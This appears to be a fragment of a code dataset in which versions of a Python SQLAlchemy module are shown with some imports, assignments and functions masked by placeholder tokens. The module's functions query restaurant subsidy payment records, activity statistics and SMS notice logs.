q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n\n\ndef get_new_pay_records(process_at, limit=200):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.\n restaurant_id, SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at, SubsidyPayRecord.status\n ).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord.\n pay_record_id == SubsidyPayRecord.id).filter(SubsidyPayRecord.\n id > process_at).filter(SubsidyProcessRecord.status !=\n SubsidyProcessRecord.STATUS_FAIL).order_by(SubsidyPayRecord.id.\n asc()).limit(limit).all()\n return result\n\n\n<function token>\n<function token>\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=\n None, offset=None, limit=None):\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)\n ).group_by(ActivityStats.pay_record_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n pay_record_id.in_(pay_record_ids)).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(ActivityStats.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n<function token>\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n<function token>\n\n\n@zeus_db_handler\ndef get_subsidy_record_process_time(record_ids, status):\n return session.query(SubsidyProcessRecord.pay_record_id,\n SubsidyProcessRecord.processed_at).filter(SubsidyProcessRecord.\n pay_record_id.in_(record_ids)).filter(SubsidyProcessRecord.status ==\n status).all()\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\ndef query_sms_send_info(start_time=None, end_time=None, phone=None,\n restaurant_id=None, card_num_tail=None, status=None):\n with walis_session() as session:\n query = session.query(NoticeRecord)\n if phone:\n query = query.filter(NoticeRecord.phone == phone)\n if restaurant_id:\n query = query.filter(NoticeRecord.restaurant_id == restaurant_id)\n if card_num_tail:\n query = query.filter(NoticeRecord.card_num_tail == card_num_tail)\n if status:\n query = query.filter(NoticeRecord.status == status)\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = query.filter(NoticeRecord.created_at > start_time).filter(\n NoticeRecord.created_at < end_time)\n return query.all()\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n@zeus_db_handler\ndef query_auto_pay_activity_stats_result(city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, offset=None, limit=None, with_subsidy=None):\n q = session.query(ActivityStats.restaurant_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, func.sum(\n ActivityStats.quantity), func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date)).group_by(\n ActivityStats.restaurant_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).order_by(ActivityStats.\n restaurant_id.desc())\n return _query_activity_stats(q, city_ids, restaurant_ids, activity_id,\n activity_category_id, from_date, to_date, statuses, with_subsidy,\n offset, limit)\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=\n None, offset=None, limit=None):\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)\n ).group_by(ActivityStats.pay_record_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n pay_record_id.in_(pay_record_ids)).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(ActivityStats.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n<function token>\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n<function token>\n\n\n@zeus_db_handler\ndef get_subsidy_record_process_time(record_ids, status):\n return session.query(SubsidyProcessRecord.pay_record_id,\n SubsidyProcessRecord.processed_at).filter(SubsidyProcessRecord.\n pay_record_id.in_(record_ids)).filter(SubsidyProcessRecord.status ==\n status).all()\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\ndef query_sms_send_info(start_time=None, end_time=None, phone=None,\n restaurant_id=None, card_num_tail=None, status=None):\n with walis_session() as session:\n query = session.query(NoticeRecord)\n if phone:\n query = query.filter(NoticeRecord.phone == phone)\n if restaurant_id:\n query = query.filter(NoticeRecord.restaurant_id == restaurant_id)\n if card_num_tail:\n query = query.filter(NoticeRecord.card_num_tail == card_num_tail)\n if status:\n query = query.filter(NoticeRecord.status == status)\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = query.filter(NoticeRecord.created_at > start_time).filter(\n NoticeRecord.created_at < end_time)\n return query.all()\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n@zeus_db_handler\ndef query_auto_pay_activity_stats_result(city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, offset=None, limit=None, with_subsidy=None):\n q = session.query(ActivityStats.restaurant_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, func.sum(\n ActivityStats.quantity), func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date)).group_by(\n ActivityStats.restaurant_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).order_by(ActivityStats.\n restaurant_id.desc())\n return _query_activity_stats(q, city_ids, restaurant_ids, activity_id,\n activity_category_id, from_date, to_date, statuses, with_subsidy,\n offset, limit)\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=\n None, offset=None, limit=None):\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)\n ).group_by(ActivityStats.pay_record_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n pay_record_id.in_(pay_record_ids)).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(ActivityStats.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n<function token>\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n<function token>\n<function token>\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\ndef query_sms_send_info(start_time=None, end_time=None, phone=None,\n restaurant_id=None, card_num_tail=None, status=None):\n with walis_session() as session:\n query = session.query(NoticeRecord)\n if phone:\n query = query.filter(NoticeRecord.phone == phone)\n if restaurant_id:\n query = query.filter(NoticeRecord.restaurant_id == restaurant_id)\n if card_num_tail:\n query = query.filter(NoticeRecord.card_num_tail == card_num_tail)\n if status:\n query = query.filter(NoticeRecord.status == status)\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = query.filter(NoticeRecord.created_at > start_time).filter(\n NoticeRecord.created_at < end_time)\n return query.all()\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n@zeus_db_handler\ndef query_auto_pay_activity_stats_result(city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, offset=None, limit=None, with_subsidy=None):\n q = session.query(ActivityStats.restaurant_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, func.sum(\n ActivityStats.quantity), func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date)).group_by(\n ActivityStats.restaurant_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).order_by(ActivityStats.\n restaurant_id.desc())\n return _query_activity_stats(q, city_ids, restaurant_ids, activity_id,\n activity_category_id, from_date, to_date, statuses, with_subsidy,\n offset, limit)\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=\n None, offset=None, limit=None):\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)\n ).group_by(ActivityStats.pay_record_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n pay_record_id.in_(pay_record_ids)).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(ActivityStats.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n<function token>\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n<function token>\n<function token>\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\ndef query_sms_send_info(start_time=None, end_time=None, phone=None,\n restaurant_id=None, card_num_tail=None, status=None):\n with walis_session() as session:\n query = session.query(NoticeRecord)\n if phone:\n query = query.filter(NoticeRecord.phone == phone)\n if restaurant_id:\n query = query.filter(NoticeRecord.restaurant_id == restaurant_id)\n if card_num_tail:\n query = query.filter(NoticeRecord.card_num_tail == card_num_tail)\n if status:\n query = query.filter(NoticeRecord.status == status)\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = query.filter(NoticeRecord.created_at > start_time).filter(\n NoticeRecord.created_at < end_time)\n return query.all()\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n<function token>\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), 